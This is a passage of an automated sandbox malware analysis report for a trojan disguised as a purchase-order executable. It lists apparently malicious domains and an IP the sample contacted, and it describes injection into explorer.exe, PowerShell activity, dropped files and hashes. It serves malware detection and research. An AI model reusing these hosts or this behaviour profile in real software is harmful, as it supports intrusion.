                                                                                                                                                http://www.asukacro.onlineexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                  		unknown
                                                                                                                                                  https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNewexplorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  		unknown
                                                                                                                                                  https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-itexplorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                    		unknown
                                                                                                                                                    http://www.fios.topexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                      		unknown
                                                                                                                                                      http://www.5mwhs.topexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                        		unknown
                                                                                                                                                        http://www.irex.infoReferer:explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                          		unknown
                                                                                                                                                          http://www.srtio.xyz/cu29/www.ohns.appexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                            		unknown
                                                                                                                                                            http://www.ladder-cancer-symptoms-mine.sbsReferer:explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                              		unknown
                                                                                                                                                              http://www.fios.top/cu29/www.817715.restexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                		unknown
                                                                                                                                                                http://www.nd-los.netexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                  		unknown
                                                                                                                                                                  http://www.reshcasinoinfo2.topexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                    		unknown
                                                                                                                                                                    http://www.irex.info/cu29/explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                      		unknown
                                                                                                                                                                      http://www.ohns.app/cu29/www.irex.infoexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                        		unknown
                                                                                                                                                                        http://www.nd-los.net/cu29/www.ochacha.sbsexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                          		unknown
                                                                                                                                                                          http://www.f6b-crxy.top/cu29/www.inn-paaaa.buzzexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                            		unknown
                                                                                                                                                                            https://www.msn.com/en-us/music/news/6-rock-ballads-that-tug-at-the-heartstrings/ar-AA1hIdsmexplorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                              		unknown
                                                                                                                                                                              http://www.f6b-crxy.topReferer:explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                		unknown
                                                                                                                                                                                http://www.asukacro.online/cu29/www.nd-los.netexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                  		unknown
                                                                                                                                                                                  https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svgexplorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                    		unknown
                                                                                                                                                                                    https://powerpoint.office.comexplorer.exe, 00000006.00000000.1287449384.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3717584027.000000000C091000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                      		unknown
                                                                                                                                                                                      http://www.foreca.comexplorer.exe, 00000006.00000002.3710443877.00000000071A4000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                        		unknown
                                                                                                                                                                                        http://www.5mwhs.top/cu29/explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                          		unknown
                                                                                                                                                                                          http://www.srtio.xyzReferer:explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                            		unknown
                                                                                                                                                                                            http://www.reshcasinoinfo2.top/cu29/www.ladder-cancer-symptoms-mine.sbsexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                              		unknown
                                                                                                                                                                                              http://www.inn-paaaa.buzzexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                		unknown
                                                                                                                                                                                                http://www.inn-paaaa.buzz/cu29/www.5mwhs.topexplorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                  http://www.5mwhs.topReferer:explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                    http://www.asukacro.online/cu29/explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                      https://api.msn.com/explorer.exe, 00000006.00000003.2271728227.0000000008F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                      • URL Reputation: safe
                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                      http://www.fios.topReferer:explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                        https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-darkexplorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                        • URL Reputation: safe
                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                        https://www.msn.com:443/en-us/feedexplorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          		unknown

                                                                                                                                                                                                          World Map of Contacted IPs

                                                                                                                                                                                                          • No. of IPs < 25%
                                                                                                                                                                                                          • 25% < No. of IPs < 50%
                                                                                                                                                                                                          • 50% < No. of IPs < 75%
                                                                                                                                                                                                          • 75% < No. of IPs

                                                                                                                                                                                                          Public IPs

                                                                                                                                                                                                          IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                                          85.13.166.18
                                                                                                                                                                                                          		www.irex.infoGermany
                                                                                                                                                                                                          		34788NMM-ASD-02742FriedersdorfHauptstrasse68DEtrue

                                                                                                                                                                                                          General Information

                                                                                                                                                                                                          Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                                                          Analysis ID:1533270
                                                                                                                                                                                                          Start date and time:2024-10-14 15:15:06 +02:00
                                                                                                                                                                                                          Joe Sandbox product:CloudBasic
                                                                                                                                                                                                          Overall analysis duration:0h 11m 47s
                                                                                                                                                                                                          Hypervisor based Inspection enabled:false
                                                                                                                                                                                                          Report type:full
                                                                                                                                                                                                          Cookbook file name:default.jbs
                                                                                                                                                                                                          Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                                          Number of analysed new started processes analysed:20
                                                                                                                                                                                                          Number of new started drivers analysed:0
                                                                                                                                                                                                          Number of existing processes analysed:0
                                                                                                                                                                                                          Number of existing drivers analysed:0
                                                                                                                                                                                                          Number of injected processes analysed:1
                                                                                                                                                                                                          Technologies:
                                                                                                                                                                                                          • HCA enabled
                                                                                                                                                                                                          • EGA enabled
                                                                                                                                                                                                          • AMSI enabled
                                                                                                                                                                                                          Analysis Mode:default
                                                                                                                                                                                                          Sample name:Request For PO-230102.bat.exe
                                                                                                                                                                                                          Detection:MAL
                                                                                                                                                                                                          Classification:mal100.troj.evad.winEXE@524/6@11/1
                                                                                                                                                                                                          EGA Information:
                                                                                                                                                                                                          • Successful, ratio: 100%
                                                                                                                                                                                                          HCA Information:
                                                                                                                                                                                                          • Successful, ratio: 100%
                                                                                                                                                                                                          • Number of executed functions: 185
                                                                                                                                                                                                          • Number of non-executed functions: 307
                                                                                                                                                                                                          Cookbook Comments:
                                                                                                                                                                                                          • Found application associated with file extension: .exe
                                                                                                                                                                                                          • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                                                                                                                                                                          Warnings

                                                                                                                                                                                                          • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, svchost.exe
                                                                                                                                                                                                          • Excluded domains from analysis (whitelisted): fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, d.3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.8.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa, fe3cr.delivery.mp.microsoft.com
                                                                                                                                                                                                          • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                                          • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                                                                                                                          • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                                          • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                                                                                          • Report size getting too big, too many NtCreateKey calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtEnumerateKey calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtOpenKey calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                                                                          • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                                                          • VT rate limit hit for: Request For PO-230102.bat.exe

                                                                                                                                                                                                          Simulations

                                                                                                                                                                                                          Behavior and APIs

                                                                                                                                                                                                          TimeTypeDescription
                                                                                                                                                                                                          09:16:00API Interceptor2x Sleep call for process: Request For PO-230102.bat.exe modified
                                                                                                                                                                                                          09:16:02API Interceptor10x Sleep call for process: powershell.exe modified
                                                                                                                                                                                                          09:16:11API Interceptor7359074x Sleep call for process: explorer.exe modified
                                                                                                                                                                                                          10:40:34API Interceptor6536560x Sleep call for process: cmstp.exe modified

                                                                                                                                                                                                          Joe Sandbox View / Context

                                                                                                                                                                                                          IPs

                                                                                                                                                                                                          ⊘No context

                                                                                                                                                                                                          Domains

                                                                                                                                                                                                          ⊘No context

                                                                                                                                                                                                          ASNs

                                                                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                          NMM-ASD-02742FriedersdorfHauptstrasse68DEhttps://allegro-worxx.de/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 85.13.161.130
                                                                                                                                                                                                          https://atpscan.global.hornetsecurity.com/?d=48cXMF0z7lMlWaR4-PlsbtUc8mFiMfFFndJRjEPuYtN-uYwWsyWxL5J5MR-Ug5CE&f=dme3IKUCx1CkAEFqHg7DwPw18BP_OQlvudnvuL33-Lpo64IRdbltM4_7BbS22Zf4&i=&k=uvEU&m=C-1BZKEYF-Cl5rwq0_FrWo_rnOtg9J2VjL7wG_KiYQ4zCmrhfgeCWZm7jI2FLiWiujyVfZXhjPSaNszUHd_-tPPbHZVMqnN_KxIKzjHidCoVjgDEgxtyWq50QMIznX31&n=msheiBXClL42beZAq-0MKeu_K3YWbf4RbFSWB4nMvrZjKHZvlfgqWpnAMmHJM8nOBGwYdLcEaXDrA0ElMeqJyA&r=qQoQsacw6FZ-pWCR9Ygk8d_uohNhiBjvfkDS9IBTRytjYPkbqiDbNjzjfMkGfqGW&s=c3334c9337ad200a046268dabfc48b0b462d8959b1985605036142fc4b1a8f81&u=https%3A%2F%2Fmqqaqm.clicks.mlsend.com%2Ftb%2Fc%2FeyJ2Ijoie1wiYVwiOjEwNjMxNTQsXCJsXCI6MTMxNjM1NDA2NzI2NzU5NjE3LFwiclwiOjEzMTYzNTQwNjk1MTE1NTExNX0iLCJzIjoiMWU0NDhhM2JiYjBjYmJmOSJ9Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 85.13.157.247
                                                                                                                                                                                                          https://immergut.dotling.comGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 85.13.165.204
                                                                                                                                                                                                          firmware.armv4l.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 85.13.147.130
                                                                                                                                                                                                          firmware.armv5l.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 85.13.147.130
                                                                                                                                                                                                          firmware.mipsel.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 85.13.139.4
                                                                                                                                                                                                          220204-TF1--00.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • 85.13.151.9
                                                                                                                                                                                                          http://arianarings.comGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 85.13.154.44
                                                                                                                                                                                                          Copy of 01. Bill of Material - 705.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                                          • 85.13.151.9
                                                                                                                                                                                                          7qBBKk0P4l.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          • 85.13.130.3

                                                                                                                                                                                                          JA3 Fingerprints

                                                                                                                                                                                                          ⊘No context

                                                                                                                                                                                                          Dropped Files

                                                                                                                                                                                                          ⊘No context

                                                                                                                                                                                                          Created / dropped Files

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Request For PO-230102.bat.exe.log

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Users\user\Desktop\Request For PO-230102.bat.exe
                                                                                                                                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):1216
                                                                                                                                                                                                          Entropy (8bit):5.34331486778365
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
                                                                                                                                                                                                          MD5:1330C80CAAC9A0FB172F202485E9B1E8
                                                                                                                                                                                                          SHA1:86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
                                                                                                                                                                                                          SHA-256:B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
                                                                                                                                                                                                          SHA-512:75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
                                                                                                                                                                                                          Malicious:true
                                                                                                                                                                                                          Reputation:high, very likely benign file
                                                                                                                                                                                                          Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                          File Type:data
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):1172
                                                                                                                                                                                                          Entropy (8bit):5.354341120578352
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:24:3VWSKco4KmZjKbmOIKod6emZ9tYs4RPQoUEJ0gt/NKIl9iagu:lWSU4xympjmZ9tz4RIoUl8NDv
                                                                                                                                                                                                          MD5:E9A91F32E6B62E541747ED84825C2DD9
                                                                                                                                                                                                          SHA1:22C09D995C9E91192661CDE8C94DFD12C78B1B56
                                                                                                                                                                                                          SHA-256:1393F42D262C717159D001D24CA022B7BF587166C1984D2250EDC54282BFDDB1
                                                                                                                                                                                                          SHA-512:6F148C7715E37574302551FFDAC81F7503FACDB3531584324E2FFFCEFE6A3F7180F57B4E67C62C052B79FC9999B6AF0E913252A65EAEB390AA93D9D343D04950
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:@...e.................................X..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.L.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1nyyhdd3.sg2.psm1

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5fljg15y.twd.psm1

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xcbqgisu.una.ps1

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yhd1kkzt.rrg.ps1

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):60
                                                                                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                          Static File Info

                                                                                                                                                                                                          General

                                                                                                                                                                                                          File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                                                          Entropy (8bit):7.713504852538813
                                                                                                                                                                                                          TrID:
                                                                                                                                                                                                          • Win32 Executable (generic) Net Framework (10011505/4) 49.80%
                                                                                                                                                                                                          • Win32 Executable (generic) a (10002005/4) 49.75%
                                                                                                                                                                                                          • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                                                                                                                                                                          • Windows Screen Saver (13104/52) 0.07%
                                                                                                                                                                                                          • Generic Win/DOS Executable (2004/3) 0.01%
                                                                                                                                                                                                          File name:Request For PO-230102.bat.exe
                                                                                                                                                                                                          File size:672'256 bytes
                                                                                                                                                                                                          MD5:4efaeafe642c9238304aa562c1477a26
                                                                                                                                                                                                          SHA1:a646d9cd8aed904f5ad3ca1c7d8d03ac51be9e3d
                                                                                                                                                                                                          SHA256:0309aa8889daca83b4cf97ab99bc9921bb549c9187736a69c76185dfe68cd325
